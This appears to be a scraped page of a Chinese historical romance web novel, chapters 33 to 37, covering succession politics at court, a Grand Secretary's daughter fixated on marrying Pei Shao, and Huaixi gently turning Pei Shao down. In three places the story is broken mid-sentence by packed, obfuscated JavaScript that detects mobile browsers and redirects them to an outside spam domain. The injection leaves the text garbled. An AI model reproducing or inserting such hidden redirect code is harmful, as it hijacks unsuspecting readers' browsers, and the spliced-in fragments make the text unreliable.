很快,世宗皇帝只能从旁宗里过继了一个儿子,便是当时还只是世子的圣上。 为什么会选中当时的世子呢,除了才干,可能也有世子父亲荣亲王爷早逝的原因。 而世宗皇帝在过继太子不久后便逝世,当今圣上登基,在群臣的谏议下尊世宗皇帝为皇考,而荣亲王改成皇叔父。 如今天下大定,当今圣上临朝十余年,大权在握,羽翼丰满,便动了重论生父尊号的念头。 只是圣上没曾想,他只是在朝堂上提了一嘴,立刻引起廷臣争议,而此事从初提至今不到一月,还有不少臣子在抗疏力争。 圣上被群臣这一番“围剿”后,反而更坚定重论尊号一事,君臣关系,也陷入史无前例地紧张。 圣上总不可能向臣子低头,但也不想一直这样僵持着。所以,打破君臣对峙的局面,便需要一些契机。 而不久之后的“十月朝”——郊祀,便成为此事契机。 圣上有意在郊祀祭祖时,追尊生父为皇帝。 但这个想法,要有人来替他提出来,这个人,还必须是在朝廷上有威望有号召力的人。 有威望有号召力,首辅沈震当仁不让。 可自此事在朝堂热议一月以来,这位首辅的态度却始终令人无法琢磨。 ——因为,他不表态。 圣上自然不可能向首辅说情,那么,作为储君的太子,自然要急皇父之所急。当然,太子也不可能公然找上首辅,所以,只能借裴劭的身份来转圜。 十几年过去,沈震从翰林院一名侍讲走到如今一人之下的内阁首辅,可能许多人都忘了,当初他只是寄居在夏家的贫寒远房亲戚。 夏老将军心善,当初沈震母亲带他们兄妹投靠夏家时,夏老将军明知这门亲戚不知道得拐多少道弯才能扯上关系,还是给了他们一个落脚的地方,还让沈震与他的孩子一同上学堂。 后来,沈震才学凸显,夏老将军惜才,自己又只有两个女儿,便将他收作养子。可以说,沈震一帆风顺的仕途后面少不得夏老将军的扶持。 所以,沈震的儿子沈竟轩与夏敏的大姑娘王郁雾结亲,也算是亲上加亲。 也就是说,裴劭私下也是唤沈震一声舅舅的。 太子欲在王府见沈震,来之前,便让裴劭过来告知王老太师和王楚修此次安排。 王老太师作为两任帝师,也是当今太子的启蒙老师,他的立场很清晰。 但沈震的立场,就有些难以琢磨了。 太子自小被立为储君,深受圣上恩宠,可那是在二皇子长成前。二皇子如今年仅十五,可圣上已允他参政议政,若不是言官阻拦,年初贵妃意外流产后,圣上为了补偿贵妃,还有意加封二皇子为亲王。 在有太子的前提下对二皇子如此盛宠,怪不得朝臣私下多有猜测。 而当今贵妃,就是沈震的亲妹妹沈音。 沈震若是支持二皇子,情有可原。可他倚重的长子沈竟轩,又与太子派的太师府结了亲。 此举到底是不是在向太子表明立场? 其中深意,叫人实在参不透...... 34. 第 34 章 裴劭与王家父子在书房谈话的同时,王郁心正与沈震的小女儿沈玉瑶从屋内走了出来,欲往花园闲逛。 王郁心揽着沈玉瑶的手臂,边走边诉苦:“瑶姐姐哪里知道我的苦楚,明明是姐姐要嫁人,母亲偏要我也一起去听那教养嬷嬷说教...” 夏敏一直觉得王郁心性子过分活络,只是平日她一撒娇,自己也舍不得责怪。也因此,那些贵女会的技艺,王郁心通通都是半吊子。而那些贵女不会的,譬如舞刀弄枪,她倒是一把好手。 担心小女儿将来在婆家吃亏,夏敏痛定思痛,这次请了宫里的教养嬷嬷,一方面是教大女儿一些夫妇相处之道,另一方面,也是借机规训一下小女儿。 沈玉瑶虽比王郁心大一岁,可也是家里最娇宠的小女儿。沈震后院清净,只有谭氏一妻,两人育有二子一女,所以对她这唯一的女儿是千娇百宠的。 不过沈玉瑶与王郁心却大大不同。 沈玉瑶举手投足都是标准的贵女风范,论礼仪,论学问,论琴棋书画,论女红刺绣,她在京城贵女圈中都是佼佼者。 就别说身份地位了,父亲是首辅,姑姑是贵妃,既是皇亲国戚,又是清流门第... 说句实话,若不是沈家与王家结亲,沈玉瑶与王郁心大概也相处不到一块去。 不过,做了亲戚自然不同旁人。相处久了,沈玉瑶也颇喜欢王郁心单纯直白的性子。 自小围在她身边的贵女不少,可几乎看重的都是她背后的身份,艳羡的、嫉妒的、攀附的,看得多了,自然知道王郁心这种性子的珍贵。 况且,还有一层更深的原因。 便是裴劭。 沈玉瑶自八岁起便常常入宫陪伴姑姑,姑姑很疼爱她,因此她每年都会在宫里住上一两个月。 那时太子还是皇帝亲自教养,未搬去东宫,因此,沈玉瑶在宫里常常能见到作为太子伴读的裴劭。 姑姑受宠,她的身份自然也比寻常贵女尊贵许多,所以到哪都是别人瞩目的焦点。 唯有裴劭,每次都对她视若无物。 当然,待后来懂事些,她也知道,裴劭只是性子使然,对不熟悉的人,向来缄默些, 只是那时还小,所以常常暗自较量。他不理她,她便对他愈是冷漠。因此,宫中几年,除了必要的礼节,两个人一句话都不曾说过。 后来太子成年,迁到东宫。 那年,裴劭十五岁,她十三岁。 寡言沉默的孩童长成肆意张扬的少年郎,对见到的每一个人都温朗有礼,其中也包括她。 少女心事朦胧,那些暗自较量何时化为道不明的青涩,连她自己都很难说清楚。 沈玉瑶只知道,少年郎褪去稚嫩,身披铠甲,纵马离开京城的背影,从某一刻起,常常在她梦里出现。 无从争辩,她知道,自己动了心。 长大了就是有一点不好,有些东西一眼便能看到实质,譬如裴劭不喜欢她这件事情。 他疏朗有礼,偶然瞥向她的视线坦坦荡荡...... 与小时那种懵懂胡乱猜测不同,少女心思细腻,不至于区分不出心上人眸里的话意。 但又有什么关系呢? 在她眼里,没有比她更能配得上裴劭的人了。 她千娇百宠,自小便是父母亲的掌上明珠。她身份尊贵,她的父亲是百官之首的首辅,她还有深受皇宠的嫡亲姑姑。她想得到的东西,从来没有得不到过。所以不着急,待及笄之后,一切都会水到渠成。 但她从未想过,在这之前,裴劭有可能会喜欢上别人。 耳边是王郁心不满的嘟囔声,沈玉瑶却无法如往日一般作温柔态安慰她。 她的大哥哥与郁雾姐姐不日成亲,近日要避讳,不好见面。可互有情意的小儿女哪能按耐得住,沈竟轩便让妹妹私下替她送东西给王郁雾。 只是不巧,沈玉瑶来时,王郁雾已被夏敏叫走,她只好先转到王郁心这里。 倒也巧,无意得知王郁心也是另一个“中间人”。 沈玉瑶刚被请进王郁心屋里不久,便有丫鬟捧着个精美的木雕嵌白玉盒,说是裴世子让春阳送来的。 沈玉瑶听到裴劭的名字,不禁多看了两眼那盒子。 王郁心并不避讳着她,当着她的面打开,满满一盒的首饰,琳琅满目。 沈玉瑶什么宝物没见过,一眼就认出最上面的那根步摇出自多宝斋。王郁心显然也看出来了,脸上虽高兴,可还是嘟囔着:“哼,裴劭这家伙,就会用这些东西来贿赂我。” 沈玉瑶没忍住,重复道:“贿赂?” 王郁心是个藏不住话的,也对沈玉瑶没设防,随口道:“送给怀夕姐姐的就是他亲自雕刻的玉佩,送给我的就是这些。” 满满一盒多宝斋的首饰,价格多贵重自然不用说,王郁心显然是得了便宜还卖乖,从盒子里捡了一只流苏,努了努嘴,“明显不用心,看吧,连颜色都不是我喜欢的......” 再迟钝的人也听出了些端倪,何况沈玉瑶这般聪慧的女子。她的心猛地一沉,脸上的表情有瞬间的冻结。 王郁心的话在心里闪闪晃晃,最后拼凑出她能理解到的意思。 裴劭给宋怀夕亲自雕刻玉佩...... 裴劭喜欢宋怀夕? 可结论刚落,她又忍不住摇摇头。 怎么可能? 一个乡野之地来的女子,一个身份低微的女子,一个她从未放在眼里的女子...... 总之,是一个她不认为裴劭会看上的女子,有什么值得她不安? 沈玉瑶深吸一口气,试图摈除这个不可思议的念头。 她稳着情绪和王郁心逛了一会花园,心里那股奇怪的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091176|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安与焦躁却始终平复不下,将哥哥的东西交给王郁雾后,她便寻了个借口匆匆回了沈府。 一回到沈府,沈玉瑶直奔首辅夫人,她的母亲谭氏院里。 正在屋内与仆妇说话的谭氏被门口一阵喧闹声打断,身边的仆妇正了正脸,走到门前,正要责问是哪个不懂事的丫鬟扰了夫人清静,就被迎面跑来的三姑娘推了一把,险些摔倒,踉跄了好几步才被跟过来的丫鬟扶住。 待看清来人,仆妇和丫鬟们连忙给沈玉瑶行礼,又被沈玉瑶挥手都赶出屋内。 谭氏坐在罗汉床上,见女儿一反常态的行径,脸色冷了下来,“都是大姑娘了,也该知道轻重缓急了,再大的事也不用搞出这般动静,叫底下人笑话。” 沈玉瑶才不理会底下人怎么看,谁敢说什么,一顿板子赏下去,看他们还有没有力气说话。 不得不说,沈玉瑶对裴劭一直有种势在必得的坚定,那是她与生俱来的尊贵带给她的傲气和底气。 因为太过理所当然,因为甚少有事物会脱离掌控,以致于想到心爱的东西有可能无法得偿所愿所带来的那种恐慌和不安感,让她这个京城中最标准最沉稳的贵女一时也失了理智和分寸。 忍了一路的情绪,在见到最疼爱自己的母亲时终于开始崩了。 沈玉瑶不顾顾氏冷下的脸,直扑到谭氏怀夕,眼泪夺眶而出。很快,白皙的脸庞上挂满了泪珠。 谭氏哪里见过女儿这般作态,立马心疼得不得了,哪里还会计较刚刚那些礼数。 可问她怎么回事,沈玉瑶却哭得更厉害。谭氏只好一遍又一遍地抚着她的背,哄她莫哭,又劝慰道:“什么人惹得娘亲的心头宝这般伤心,母亲定好好发落她,可好?” 沈玉瑶在母亲怀里哭了好一会,才慢慢收住眼泪。 谭氏捧着她的脸盘,替她拭干眼泪。 沈玉瑶肩膀耸动,声音还有些哽咽,她紧紧抓着谭氏的袖口,抬头问她:“母亲说过,我想要什么,都会拼尽全力为瑶儿寻来,对吗?” 对着谭氏,沈玉瑶褪下在外的那份孤傲,脸上是属于小女儿的娇气和倔强。 谭氏虽不知女儿为何提起这些话,但在女儿殷切的目光里她还是肯定地点点头 确实是她哄女儿的话,但也确实是实话。 自己险些踏入鬼门关得来的这枚宝珠,金尊玉贵,什么好东西她都值得拥有。 见谭氏点头,沈玉瑶好似抓到什么救命稻草,眼神亮起来,追问确认,“人也可以么?” 谭氏见女儿眼泪又开始掉,想都没想,又点点头。 想到裴劭可能有了心悦的人,沈玉瑶心里便难受得仿佛有火在灼烧,她拉着谭氏的手,渴望无所不能的母亲能帮她的忙。 “我要裴劭。”带着啜泣的声音,沈玉瑶在谭氏不可置信的目光中说道,“母亲,我要嫁给裴劭。” 35. 第 35 章 谭氏愣了愣,不敢相信自己听到的,声音提高,“你说什么?” 沈玉瑶还有些抽泣,可目光却十分坚定,“姑姑说过,满京城的郎君都可以任我挑选,母亲,你同父亲不是有意替我选婿吗?我就要裴劭。” 沈玉瑶本不认为此话有什么不妥,论才貌,论家世,裴劭都配得上她。 谭氏意识到沈玉瑶不是在开玩笑,脸色立马沉了下来,语气携了两分冰冷:“不行。” 意料不及的反应,沈玉瑶顾不得拭去脸上的泪珠,讶异道:“为什么不行?” “除了裴劭,谁都可以。”谭氏张了张嘴,可有些话到嘴边,却说不出口。 虽然不知一向沉稳的女儿怎么突然说出这样无理且不合时宜的话,但眼下看着女儿两眼涟涟,她到底心疼,还是软了软语气,试图同女儿讲道理,“原本是想多留你两年,不过也没关系。你若愿意,我同你父亲商量一下,待你哥哥大婚后...” 沈玉瑶哪里不知道,母亲语气虽软了,但态度却依然没变,她打断谭氏的话,“母亲,我想嫁给裴劭,到底有何不可。” 儿女总能轻易拿捏父母,沈玉瑶知道谭氏不舍她哭,于是泪珠落得更大更猛,“有什么不可以的,郁雾姐姐是夏敏姨母的女儿,哥哥可以娶她,那我嫁给夏昭姨母的儿子,不也是亲上加亲吗?” 不知是听到那个许久没听到的名字,还是看着平日乖巧如今却如同魔怔了的女儿,谭氏罕见地有些失态,呵斥道:“闭嘴。” 沈玉瑶从未见过母亲如此疾言厉色的模样,一时也吓在原地。 谭氏瞧见女儿吓成这样,又是惊怒,又是心疼,复将她揽入怀中。 她该怎么同她说,正是因为她是夏昭的儿子,所以不可。 为什么夏昭就算死了,也要让她活在她的阴影之下呢。 搂着哭泣的女儿,谭氏不由得想起二十多年前,自己也是女儿这般年纪。 她嫁给沈震的时候,沈震还只是刚入翰林院的一名小官吏,那时她父亲已是从二品的布政使。 她虽未长在京中,可自小也是按贵女风范教养的。 那年她跟着父亲回京述职,一眼就看上了当年蟾宫折桂的沈震。 父亲也是破落门户出身,靠自己一步一步走上现在的位置,所以并未瞧不起当时的七品小吏沈震,反而对他欣赏有加,再得知他是当时颇有声望的夏将军养子,又高看几眼。 于是,她嫁给沈震便是顺水推舟的事情。 她很满足,嫁给一个才华横溢,前途光明的丈夫,丈夫待她甚是尊重,他的后院很干净,不像自己的父亲,后院总是热热闹闹,而软弱的母亲又总是暗暗垂泪。 沈振只有她一人,而且很快,他们就有了第一个孩子,一切都顺利美满得不像话。 若不是那段时日,夫君起早贪黑,常常几日都不曾回家一次,就算回家了也总是一个人呆在书房,那她可能就不会临时起意,在夫君不在的时候,偷偷进了他的书房,也就不会发现藏于匣里的那一幅幅画...... 他的夫君一手字画冠绝天下,所以,当看到画上笔触细腻,形神俱备的女子,她一眼就认出画上之人。 那不是裴将军的妻子,夏昭么? 当然,夫君是夏家的养子,夏昭也算是丈夫的妹妹。 算起来,她入京不到两年,见夏昭的次数也不多。 不过印象倒是挺深刻,温柔如水的一个女子,站在威风凛凛的裴将军身边,显得娇弱如同蒲苇。 不可否认,她很美。 可是,远不如画上这般美。 桃花树下、游亭椅上、娇笑的、皱眉的、嗔怒的,她在画上见到了夏昭自小到大不同的神态和样貌。 她才知道,原来那个娇弱的美人,有这样动人的表情。 行云流水的线条,每一处着墨,都能看出作画人的珍重和小心翼翼。 情随笔意,心里已然种下怀疑的种子,再加上后来的处处端倪,谭氏慢慢才知道,原来丈夫心里,一直藏着一个人。 从回忆里抽除,看着怀里哭得伤心的女儿,谭氏眼里的寒冰渐渐融化,她抱着女儿,安抚道:“瑶儿乖,你想要天上的星星母亲也会想办法替你摘来,可裴劭绝对不行。” 沈玉瑶眼泪汪汪地看着她母亲,见怎么恳求母亲也没有松口的模样,心里越发慌了起来,“母亲,你若不同意,我便...” 谭氏似乎知道女儿要说什么,脸色冷了下来,“找你父亲也没用,就算我同意,你父亲也不会同意的。” ...... - 沈玉瑶虽骄纵,可也因着好强的性子,自小样样出挑,谭氏对这个女儿都不用操什么心。 原以为女儿只是一时兴起,好言歹说地劝了一通,见女儿总算止住哭泣,谭氏便放心让她回去。 待沈玉瑶回去后,谭氏立马让人去查,为何女儿从王府回来后就突然魔怔一般,说要嫁给裴劭。 但好一番调查打听,与她所了解的信息都大差不差:女儿与裴劭平日连话都不曾说过几句。 她不明白女儿的执念从何而来? 但再往深些打听,竟还打听出裴劭好似有心悦的女子,正是他丈夫看好的新科状元宋承云的妹妹,叫宋怀夕的。 谭氏有些受打击,不是因为得知女儿一厢情愿喜欢裴劭,而是因为那位新科状元宋承云,本是她与丈夫为女儿选婿人选里最属意的一位。 谭氏原本想瞒着丈夫,让这件事情轻轻掀过,不料沈玉瑶看似听劝回去后,竟然用绝食来做抗争,最后事情还是闹到沈震面前。 可如同谭氏所料,沈震根本不同意女儿嫁给裴劭。 看着虚弱卧床的女儿,沈震不仅没有温言相劝,反而紧绷着脸,冷声说道:“此事绝无可能,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098097|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就断了这个念头。” 沈玉瑶从未见过父亲生气的模样,委屈的同时反而激发内心的执拗,她勉强撑着虚弱的身子坐了起来,隔着床帘,倔强地说道:“父亲不同意,我便去求姑姑替我做主。” “你姑姑做不了这个主。”沈震拂袖而去之前,还留了一句话,“裴劭离京之前,你哪里也不准去。” 沈玉瑶人生第一次被禁足,第一次被疼爱自己的父亲呵斥。 第一次有得不到的东西...... 在母亲追着父亲走出屋子后,她终于忍不住,用被子捂着脸,大声痛哭起来。 - 这几日日头好,怀夕让翡翠她们把冬日的衣服都收到院子里晒。她在屋内隔着纱窗看着她们在院子里忙活,又低头看着手上快绣好的绣屏。 坐的久了,肩膀有些酸痛,她把针线放下。一旁的小艾看她扭了扭肩膀,走近帮她揉捏。 “哥哥今日也不回来用膳吗?”怀夕仰头问道。 小艾边捏边应道:“松毫刚来传过话,说明日梁老夫子启程回泸州,今夜老太师设了践行宴,公子下值后便过去,让姑娘不用等公子用膳。” “那用膳后还回来吗?”怀夕继续问道。 自上次哥哥喝醉,怀夕已经有七八日没怎么见过他了。 除了有几日翰林院因朝廷闹得沸沸扬扬的礼议事件要留夜值守,其余下值后的空闲时间,哥哥都拿来陪同梁老夫子,有几次因夜里太晚了被老太师留住在王府。 小艾想了想,松毫没特意交待,她点了点头,“公子向来不会让姑娘白等,若是不回来,定会让松毫带话回来的,松毫没说,那今夜定是回来的......” 怀夕叹了一声,回来了也不知道多晚,哥哥这几日真是忙得脚不着地。 好在明日休沐,送完梁老夫子和大哥哥他们,应该能好好休息一番。 小艾见她叹气,宽慰道:“姑娘放心,松毫会侍候好公子的。” 怀夕被小艾捏的很舒服,闭着眼睛应道:“嗯。” 桌上放着盘青翠欲滴的当季果子和几碟子糕点,果香扑鼻,小艾给怀夕按捏肩臂的时候忍不住往清香处看去,闲聊般说道:“姑娘,你说三姑娘这阵子怎么送东西送得这般勤?” 往日虽也送,但不至于如此频繁。 怀夕正为这事头疼呢,最近郁心的婢女橘林每隔几日就会来一趟,天南地北好玩的、好吃的、好看的,什么都送过来。 这么明显,她哪里还能不知道,这些东西是谁假借郁心的名义送来的。 怀夕在心底叹了口气,都怪自己。 “小艾,一会你把近来橘林送来的东西一件一件都收出来,放到我屋内桌上。” “全部?”小艾问道,全部的话可不少。 “对,全部,吃了那些吃食。” 小艾不明所以,不过还是应下。 36. 第 36 章 夜里宋承云果然回了府。 琥珀进来传话的时候,怀夕正半倚在床边看书,眼眸已是快要耷拉下来的模样,听到传话后,把手里的话本子随手放到一边,掀开被子就闭上眼睡觉了。 翌日,怀夕特意起了个大早,昨日琥珀传话时,说公子特意交待,今日要她一同去送别梁老夫子。 梁老夫子来的时候,院子里几颗老槐树枝上叶子才刚刚转黄,走的时候,已经变成枯叶,在秋风中纷纷扬扬落了满地。 自古逢秋悲寂寥,更何况在秋日离别。 进了渡口,还未到开船时刻,梁老夫子说了几句离别话,看了眼宋承云兄妹,眸中湿润不待人看清,便头也不回进了船舱。 送君千里,终有一别,梁老夫子上船后,王楚修和其他人陆陆续续也回去了。 船还有一会才开,宋承亭在岸上跟宋承云兄妹道别,她看着怀夕递给他的两个大包裹,有些哭笑不得。 平日握书的书接过那两大包裹时,险些没接住,那神情显得有些滑稽,惹得怀夕没忍住捂着嘴笑。 宋承亭递给身后的小厮后,也跟着笑了笑。 京城一行,他们兄妹待自己仿佛毫无芥蒂,这让宋承亭心里更多了几分羞愧。 他站在宋承云兄妹面前,想说些什么,又不知从何说起。 宋承云看着吞吞吐吐的宋承亭,只是淡淡笑了笑:“大哥什么都不必说,放心就是。” 宋承云从来没把二房做的那些事看在眼里,所以也谈不上报复什么的。他亲缘意识一向淡薄,除了父母亲,不管是族里还是二房的人,对他来说并没有什么特别的意义。 他们想借他的势还是沾他的光,他都不在意,只要不干些伤天害理的事,他不会多说什么。 宋承亭听完,感激般地看了看宋承云,原本还想说些什么,可看了眼怀夕,又将唇阖上。 宋承云看出他的意思,找了个由头把怀夕支走。 “大哥还有什么话要说?” 宋承亭看着不远处怀夕的背影,颇为慎重地说道:“从前祖母一直阻拦不肯让怀夕入族谱...” 宋承亭欲言又止,但想到宋承云坦率相待后,还是继续说道:“既没入族谱,怀夕就算不上你的亲妹妹,如今怀夕已及笄,若将来有心人借机乱传些什么,终究对你仕途不利。你放心,这次回去,我一定说服祖母他们,早日让怀夕上族谱,将来议亲也更名正言顺些......” 宋承亭看得出来,这位二弟很是疼惜珍视怀夕这个妹妹,他原本以为宋承云会很乐意见到怀夕成为宋家名正言顺的女儿,不料待他说完,他只是淡淡回了一句:“不必了。” 宋承亭愣了愣,显然有些惊讶,“可.....” “我离开泸州时便说了,不管入不入族谱,夕儿都是我的妹妹。” 不知是不是宋承亭的错觉,他原是好意,可他觉得说完那些话后,二弟那双向来疏冷的黑眸仿佛更暗了几分。 他想解释他不是有意多事,可那头怀夕和小艾各拿着一串糖葫芦,笑盈盈地朝他们走过来。 渡口人来人往,怀夕顾着手上的糖葫芦,没注意半身高的小孩童从那边疾跑过去,重重撞了她一下,她身子险些没站稳,眼看就要往前栽了去...... 怀夕是从宋承亭身后走来的,待宋承亭听到啊的一声回头时,他对面的宋承云已经跨步绕过他,握住怀夕的肩膀,止住她往前栽的姿势。 怀夕显然也有些吓到了,下意识地抓紧宋承云的衣袖,往他身后躲了躲。 正好一船队正在卸货下岸,一时间岸上乱糟糟的,不时有人经过,宋承云为了让怀夕稳住身子,手臂还是虚揽着,身躯也往后移了一步,自然而然为她开辟出一方小小的空间。 为避让行人,宋承亭也往一旁挪了挪,身前兄妹二人默契亲密的动作正好落到他眼里,让他一时有些怔愣。 顾不得细想,船上的同伴远远在呼喊着让他登船,他只好对着他们招了招手,再回头同宋承云兄妹二人辞行。 水面波澜渐渐平息,客船也慢慢淡出视线之内,宋承云看着远方,清淡的眼眸里有淡淡的离别愁绪。 梁老夫子待他如师如父,此次一别,大概很长一段时间,都难再见到。 只是愁绪刚起,几根纤白的手指在眼前晃了晃,而后清甜软糯的声音钻进耳朵里。 “还有一颗,哥哥尝一下吗?”怀夕向宋承云递过手里的糖葫芦。 一整串糖葫芦已经被她吃剩最后一颗,晶莹的糖壁上有微微的湿润。 宋承云看了一眼,摇头,“你吃吧。” 怀夕不好意思地笑了笑,一笑发现嘴角边粘粘的,好似沾了糖霜,她伸手去擦,反而将糖霜蹭开。 转头想找小艾帮自己擦,发现小艾已经跟着松毫去了马车那边等着,怀夕掏出帕子自己擦,擦完后正想回头问走在她身后的宋承云,看自己有无擦干净。 宋承云故意落后怀夕半个身子,是有意替她挡去来往那些磕碰。四周都小心注意着,却未料到护着的那人会突然转身停住。 显然,怀夕也没想到哥哥离自己这般近,她转身时,宋承云正好没刹住脚步,怀夕不轻不重撞到他胸前。 这下,轮到怀夕伸手稳住宋承云了。 怀夕另一只手还拿着糖葫芦,匆忙之下,用另一只手环在宋承云腰间...... 猝不及防撞了个满怀,宋承云有瞬间的错愕。不待他反应过来,胸前的人儿已经从他怀里退开。 宋承云匆忙往后退了一步,只是未料到,他一退,身前的女子又朝他走近一步。 待他脚跟下意识再往后退时,小姑娘拉了拉他的袖子,伸手在他胸前点了点,而后抬头,弯着眸对他笑,“哥哥,糖霜。” 因为她回头撞了一下,她嘴角未擦净的糖霜印在宋承云的锦白衣袍上,怀夕伸手指了指他胸前几点晶莹的印迹,笑里带着点狡黠的幸灾乐祸,“哥哥,擦干净了吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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怀夕拿着她绣好的绣品走出来,她把书桌上的东西收拾开,将绣品铺开的同时喊道:“哥哥,你过来吧。” 只是待她铺好后抬头,发现宋承云仿佛没听见她的话,还盯着窗边的流苏不知在发什么呆。 怀夕只好走过去喊他,只是走近才发现,昨日她让小艾收拾出来那些裴劭送的物品,还大喇喇放在罗汉床上...... 不知为何突然有些尴尬,怀夕随手扯了旁边的小薄毯盖了上去,然后觑了宋承云一眼,看到他目光从窗外收回,应是没注意到她的动作,她心里暗暗松了口气。 “走吧。”宋承云淡淡说道。 怀夕的绣功并不是十分出挑,但此幅绣作上的字画明显看出是用了心的,一针一线婉转流畅,寓意也好,宋承云看过之后点了点头,不吝夸赞,“不错。” 怀夕也很满意这次要送给王郁雾大婚的贺礼,见哥哥也认可,更是喜悦,当下就吩咐小艾送去装裱。 而宋承云连茶都没有喝,看过绣品后便回了自己院子。 怀夕料想着哥哥是急着回去看书,也没留他,她今日起得早,想睡会回笼觉。 37. 第 37 章 转眼就到了王郁雾出嫁的日子,两朝帝师与当今首辅两家联姻,场面之气派可见一斑。 整个太师府处处都是红艳艳的,房檐廊角,灯笼红绸,忙碌穿梭的侍女,热闹道贺的宾客...... 王郁雾的院子里此时站满了许多女眷,多是王家的亲朋长辈,夏敏在正厅里陪着她们说话,而内室里,怀夕和王郁心正看着丫鬟替新娘子妆扮。 娇娇倾国色,怀夕没见过王郁雾这般盛装的模样,美到她都有些看呆了。 平时吵吵嚷嚷的两个妹妹突然安静,王郁雾有些不习惯。因丫鬟替她盘着发不好转身,她透过梳妆镜看着身后两人,见她们俩不眨眼地盯着自己看,王郁雾不禁有些羞恼,嗤道:“回神了。” 怀夕和王郁心不掩眸中惊艳,往前凑了凑:“姐姐,你太美了。” “太美了...”王郁心附和道。 两个妹妹一通恭维,把王郁雾说得又喜又羞涩,正在她羞得想将姐妹俩赶出去时,夏敏从外边进来了。 外头丫鬟来报说迎亲队伍已经快到王府,夏敏便进来看看里头是否准备妥当。没想到一进来,就看到两个顽皮的小女儿正拉着大女儿的手,在摸上面的蔻丹,期间不知说了些什么,惹得旁边的丫鬟们都笑出声。 “两个小祖宗啊,今日你们可别捣乱了。”夏敏连忙走近,将大女儿的手从她们手里抽了出来,把她们赶到一旁。 丫鬟们终于能专心致志地为新娘子妆点起来。 金冠玉钗,黛眉轻扫,朱唇微点。金色的花钿勾勒出娇媚的面容,待一席红底金边的大红嫁衣穿上身后,新娘子就算彻底妆扮好了。 丫鬟们鱼贯而出,而夏敏看着如花娇艳的女儿,泪眼涟涟。 见状,怀夕和王郁心也拉着手跟着出去,将大姐姐在家里的最后时刻留给母亲。 而外头,接亲的郎君们从王府门外,一路过关斩将,终于闯到新房门外。 怀夕和王郁心从屋内出来时,迎面正好碰上接亲的队伍。 接亲的郎君们一拥而入,王家的亲眷们正挡在新房门外,各种法子拦着他们接新娘。 裴劭也在拦亲的队伍里,他虽是夏敏的侄子,可算起来,与沈竟轩也算是表兄弟。 接亲里头李国公家的小儿子看着裴劭,调侃道:“裴世子,今日可是你表兄的大好日子,谁都能拦,你这个表弟也来拦,是不是也太不够意思了?” 一众傧相跟着起哄,想把裴劭拉到他们阵营。 但裴劭不顾他们的哄笑,不紧不慢地叫旁边其他亲眷继续出题。 新婚三天无大小,接亲的郎君们七分激动三分生猛,很快就冲破了这群女眷为主的拦亲队伍。 怀夕和王郁心原本站在新房门外看热闹,可院里实在挤了太多人,不知谁喊了一句吉时已到,那群接亲的郎君趁乱往前冲,不怀夕和王郁心便被浩浩荡荡的人群冲散了...... 耳边尽是喧闹和叫嚷声,怀夕挤在人群里出不来。好不容易盯着柱子的方向往外挤,可又来了一拨人往这边冲过来...... 眼看又要被挤进去,怀夕叹了口气,正想放弃挣扎,不料手臂上突然搭上一只手,强劲有力,怀夕顺着他拦开的一条小小通道终于顺利挤了出来。 挤出来后,怀夕撑着柱子好一阵喘气,顺好气,正要向拉他出来的人道谢,一抬头,有些惊讶:“裴世子?” 在队伍冲过来前,裴劭本已利落躲到旁边的柱子后看热闹,不料在人群中看到挣扎着往外挤的怀夕,这才又挤进人群里...... 裴劭笑着问她,“没事吧?” “没事。”怀夕转头看那边还挤着的人群,回过头笑着说道:“这样热闹的场面,我还是第一次见。” “多谢你啊。” 听着她语气里一如往日的熟络,裴劭用力攥了攥手。 怀夕扶着柱子,踮起脚,想看看能不能看到郁心在哪,她不知道身后的男子正静静地盯着她的背影看。 怀夕今日穿了一条白底茜红绣如意纹的襦裙,纤细的腰肢被勾勒出盈盈的曲线,俏生生的脸上略施粉黛,衬得雪肤更为细腻,清新中不失妩媚。 明知道姑娘家不喜欢自己,但裴劭还是忍不住将目光停留在她身上。 找不到王郁心,怀夕又转回头来同裴劭说话:“那些东西你都收到了吧?” 裴劭眼神稍黯,却丝毫不意外怀夕的坦荡。 他觉得自己大约无药可救了,连她这般坦坦荡荡无所谓的样子都叫自己心动。 “收到了。”裴劭声音低低的,仿佛要淹没在人群喧闹声中 “那就行。”怀夕微仰着脸,神情认真,“我很仔细地想过了,我不喜欢你的。” 众人拥着新娘子从屋内出来,外头又开始热闹起来,无人在意被挤到小角落的这两个人。 喧闹声太大,裴劭看着愣愣的,怀夕只好微微踮起脚,略微凑近他,用他能听到的声音说道:“你这般好,将来一定能遇到一个更好的女子。” 怀夕虽然不确定喜欢一个人是什么感觉,但通过以前圆圆姐姐临离开金陵时同她说的那些话,她很明确,自己不喜欢裴劭。 她不会时常想着裴劭,或者说,若不是裴劭同她剖白心迹,她根本不会分出多余的注意力在他身上。 她对裴劭没有圆圆姐姐说的那种独占欲。 圆圆姐姐说爱是不能分享的,所以她宁折不弯,因为杨大人的不坚定果断抽离。怀夕设想了一下,若是裴劭身边有别的女子...... 她好似没有什么很特别的感觉。 况且,正如干娘所说的,嫁给裴劭就要离开金陵,离开哥哥,那她再喜欢也不愿意的。 